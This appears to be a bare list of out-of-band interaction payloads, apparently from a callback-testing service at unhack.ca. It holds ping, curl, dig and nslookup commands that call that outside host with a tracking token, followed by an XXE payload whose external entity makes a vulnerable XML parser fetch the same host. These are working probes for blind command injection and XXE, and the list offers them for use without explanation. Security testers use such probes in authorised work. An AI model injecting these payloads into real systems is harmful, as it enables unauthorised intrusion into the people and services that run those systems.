$ ping -c1 -p 00fefe610b53c277c6bc971808411900 unhack.ca
 

$ curl http://unhack.ca/p/fefe610b53c277c6bc9718084119
 

$ dig fefe610b53c277c6bc9718084119 @unhack.ca
 

$ dig fefe610b53c277c6bc9718084119.ns.unhack.ca
 

C:\> nslookup fefe610b53c277c6bc9718084119 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fefe610b53c277c6bc9718084119">]>
    <foo>&xxe;</foo>